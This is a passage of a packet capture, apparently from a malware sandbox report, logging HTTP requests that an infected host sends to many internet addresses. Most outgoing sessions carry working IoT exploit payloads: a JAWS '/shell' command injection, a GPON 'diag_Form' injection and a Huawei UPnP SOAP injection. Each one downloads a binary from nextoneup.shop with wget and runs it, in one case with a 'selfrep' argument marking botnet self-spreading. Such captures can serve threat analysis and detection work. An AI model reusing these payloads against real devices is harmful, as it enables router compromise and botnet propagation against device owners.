10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}
Apr 14, 2024 04:01:45.462832928 CEST	1289	IN	Data Raw: 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 Data Ascii: /* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-ser
Apr 14, 2024 04:01:45.462873936 CEST	927	IN	Data Raw: 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 20 3c 70 3e 3c 62 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 62 3e 3c 2f 70 3e 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 20 20 3c 70 3e 53 6f 6d 65 20 61 73 70 65 63 74 20 6f 66 20 74 68 65 20 72 65 71 Data Ascii: ote id="error"> <p><b>Invalid URL</b></p> </blockquote> <p>Some aspect of the requested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2093	192.168.2.13	42036	18.179.229.31	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.239126921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.510132074 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:45 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2094	192.168.2.13	38626	222.110.190.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.278489113 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.416142941 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2095	192.168.2.13	58990	195.28.70.15	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.303263903 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.634183884 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:45 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2096	192.168.2.13	60594	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.344794989 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2097	192.168.2.13	57672	178.65.12.228	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.350291014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2098	192.168.2.13	53996	118.138.64.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.350337029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2099	192.168.2.13	46574	118.176.94.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.350367069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2100	192.168.2.13	49408	5.250.87.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.350405931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2101	192.168.2.13	48464	5.218.194.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.350440025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2102	192.168.2.13	44346	148.99.234.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.350466967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2103	192.168.2.13	52842	103.140.234.82	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.397003889 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.825018883 CEST	300	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 07:59:36 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2104	192.168.2.13	53148	117.180.238.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.437460899 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.909048080 CEST	340	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:45 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive server: KS-COMPASS Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2105	192.168.2.13	54992	207.23.167.92	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.448333979 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2106	192.168.2.13	53076	201.96.157.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.452976942 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.691284895 CEST	215	IN	HTTP/1.1 404 File not found Server: 819/267473 HTTP Server version 2.0 - TELDAT S.A. Date: Sat, 13 Apr 2024 14:01:46 GMT Cache-Control: no-cache Connection: close Content-Type: text/html Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2107	192.168.2.13	60788	154.215.156.78	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.623724937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2108	192.168.2.13	60608	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.642504930 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2109	192.168.2.13	57518	156.241.118.9	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.878729105 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2110	192.168.2.13	60652	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.018035889 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2111	192.168.2.13	53176	117.180.238.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.463985920 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:48.872239113 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:49.348459959 CEST	340	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:49 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive server: KS-COMPASS Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2112	192.168.2.13	60686	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.690826893 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:49Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2113	192.168.2.13	48688	38.91.107.114	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.694371939 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.920641899 CEST	530	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:46 GMT Server: Apache/2 Content-Length: 315 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2114	192.168.2.13	45300	104.121.21.20	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.778651953 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
